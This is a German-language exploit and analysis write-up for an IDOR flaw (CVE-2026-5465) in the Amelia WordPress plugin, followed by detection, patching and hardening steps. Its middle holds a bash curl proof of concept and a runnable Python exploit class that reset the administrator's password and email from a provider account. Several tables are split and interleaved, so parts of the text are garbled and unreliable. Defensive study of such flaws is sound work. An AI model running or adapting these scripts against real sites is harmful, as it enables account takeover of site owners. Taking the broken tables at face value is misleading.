
Exploit und Analyse für CVE-2026-5465, eine IDOR-Schwachstelle im Amelia WordPress-Plugin, die es einer authentifizierten Provider-Rolle ermöglicht, Privilegien zu eskalieren und durch eine unsichere direkte Objektreferenz eine Kontokompromittierung zu erreichen.
Kritische Schwachstelle der Unsicheren Direkten Objektreferenz (IDOR) im Amelia-Plugin, die es einem authentifizierten Benutzer mit der Rolle Mitarbeiter (Provider) ermöglicht, Privilegien bis zur vollständigen Übernahme (Account Takeover) der WordPress-Website zu eskalieren, einschließlich administrativem Zugriff.
| Attribut | Wert |
|---|---|
| CVE ID | CVE-2026-5465 |
| Software | Amelia – Appointment Booking Calendar |
| Betroffene Versionen | ≤ 2.1.3 |
| Gepatchte Version | ≥ 2.2.0 |
| Typ | Insecure Direct Object References (IDOR) / Broken Access Control |
| Vektor | Netzwerk (Authentifiziert) |
| Komplexität | Niedrig |
| Auswirkung | Kritisch (Account Takeover) |
| CVSS v3.1 | 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639 (Authorization Bypass) |
Der Fehler liegt in der Klasse UpdateProviderCommandHandler, die Profilaktualisierungen von Anbietern verarbeitet.
Verwundbarer Ablauf:
1. Benutzer als "Provider" (Mitarbeiter) authentifiziert
↓
2. Sendet POST-Anfrage an Aktualisierungs-Endpoint
{
"externalId": 1, // ID des Admins (nicht des Angreifers)
"firstName": "Admin Pirateado",
"email": "[email protected]",
"password": "nueva_contraseña"
}
↓
3. System validiert NICHT, ob 'externalId' zum aktuellen Benutzer gehört
↓
4. Verwendet wp_set_password(externalId, new_password)
↓
5. Admin-Passwort geändert → Account Takeover
Fehlende Eigentumsvalidierung (Ownership Check) vor der Verarbeitung sensibler Daten:
// VERWUNDBARER CODE (Vereinfacht)
public function updateProvider($providerId, $data) {
// ❌ Prüft NICHT, ob providerId == aktueller_benutzer
$provider = Provider::find($providerId);
// Führt direkt ohne Validierung aus
wp_set_password($data['password'], $provider->wp_user_id);
}
// KORREKTER CODE
public function updateProvider($providerId, $data) {
// ✅ Prüft Eigentum
if ($providerId !== current_user_id()) {
throw new UnauthorizedException();
}
wp_set_password($data['password'], $provider->wp_user_id);
}
#!/bin/bash
TARGET="https://ejemplo.com"
PROVIDER_TOKEN="token_autenticado_del_provider"
ADMIN_ID=1
# NONCE-Sicherheitstoken abrufen (falls vorhanden)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)
# Bösartige Aktualisierung ausführen
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
-H "Authorization: Bearer $PROVIDER_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"externalId": 1,
"password": "Compromised123!",
"email": "[email protected]"
}'
echo "[+] Wenn die Antwort 200 ist, wurde der Admin kompromittiert"
import requests
import json
class AmeliaExploit:
def __init__(self, target_url, provider_token):
self.target = target_url.rstrip('/')
self.headers = {
'Authorization': f'Bearer {provider_token}',
'Content-Type': 'application/json'
}
def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
"""Nutzt IDOR aus, um das Admin-Passwort zu ändern"""
endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
payload = {
"externalId": target_user_id,
"password": new_password,
"email": f"pwned_{target_user_id}@attacker.com"
}
try:
response = requests.post(
endpoint,
headers=self.headers,
json=payload,
timeout=10
)
if response.status_code == 200:
print(f"[✓] AUSGENUTZT: Benutzer {target_user_id} kompromittiert")
print(f"[*] Neues Passwort: {new_password}")
return True
else:
print(f"[✗] Fehlgeschlagen: {response.status_code} - {response.text}")
return False
except Exception as e:
print(f"[!] Verbindungsfehler: {e}")
return False
# Verwendung
if __name__ == "__main__":
exploit = AmeliaExploit(
target_url="https://ejemplo.com",
provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
)
exploit.exploit_account_takeover(target_user_id=1)
WordPress Audit Log (falls installiert):
Benutzer: [Provider ID]
Aktion: User Password Changed
Betroffener Benutzer: Administrator
Zeitstempel: [Verdächtige Uhrzeit]
Server-Logs (Apache/Nginx):
POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [hoch]
→ Antwort 200 OK
WordPress-Datenbank:
-- Nicht autorisierte Passwortänderungen
SELECT ID, user_login, user_registered, user_pass
FROM wp_users
WHERE ID = 1
ORDER BY ID DESC LIMIT 1;
-- Verdächtige E-Mail-Änderungen
SELECT user_email, user_login, user_registered
FROM wp_users
WHERE user_login = 'administrator'
ORDER BY ID DESC;
/wp-json/amelia/v1/providers/# Über das WordPress-Admin-Panel
1. Gehe zu: Plugins > Installierte Plugins
2. Suche: "Amelia"
3. Klick: "Jetzt aktualisieren"
4. Mindestversion sicher: 2.2.0+
# Über WP-CLI
wp plugin update amelia --allow-root
# Über WP-CLI
wp plugin deactivate amelia --allow-root
# Über FTP/SFTP
Umbenennen: /wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/
Nginx (nginx.conf):
location ~ /wp-json/amelia/v1/providers/ {
# Nur GETs erlauben
if ($request_method = POST) {
return 403;
}
}
Apache (.htaccess):
<FilesMatch "amelia.*providers">
<LimitExcept GET HEAD>
Require all denied
</LimitExcept>
</FilesMatch>
Falls die Website bereits ausgenutzt wurde:
-- Admin-Passwort über CLI ändern
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass
SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;
# Plugin installieren und prüfen: WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root
// In wp-config.php neu generieren:
define('AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY', 'PUT_YOUR_UNIQUE_PHRASE_HERE');
Cloudflare WAF-Regel:
- Blockieren: POST an /wp-json/amelia/v1/providers/[0-9]+ von nicht-whitelisted IPs
# Audit-Plugins installieren
wp plugin install wordfence --allow-root
wp plugin install sucuri-scanner --allow-root
// Provider-Fähigkeiten einschränken
$role = get_role('amelia_provider');
$role->remove_cap('edit_users');
$role->remove_cap('manage_options');
limit_req_zone $binary_remote_addr zone=amelia_zone:10m rate=5r/s;
location ~ /wp-json/amelia/v1/ {
limit_req zone=amelia_zone burst=20 nodelay;
}
| Datum | Ereignis |
|---|---|
| 2026-01-15 | Schwachstelle an Amelia Team gemeldet |
Klassifizierung: 🔴 KRITISCH - Erfordert sofortiges Handeln
Letzte Aktualisierung: April 2026
Autor: Sicherheitsteam
| Parameter | Typ | Auswirkung |
|---|
externalId | Integer | Identitätswechsel (IDOR-Kern) |
password | String | Passwortänderung |
email | Session-Diebstahl bei Zurücksetzung | |
firstName, lastName | String | Nicht-kritische Datenänderung |
| 2026-02-01 | Patch verfügbar (v2.2.0) |
| 2026-02-10 | Verantwortungsvolle CVE-Veröffentlichung |
| 2026-02-11 | Exploits in freier Wildbahn |
| HEUTE | Empfehlung zur dringenden Aktualisierung |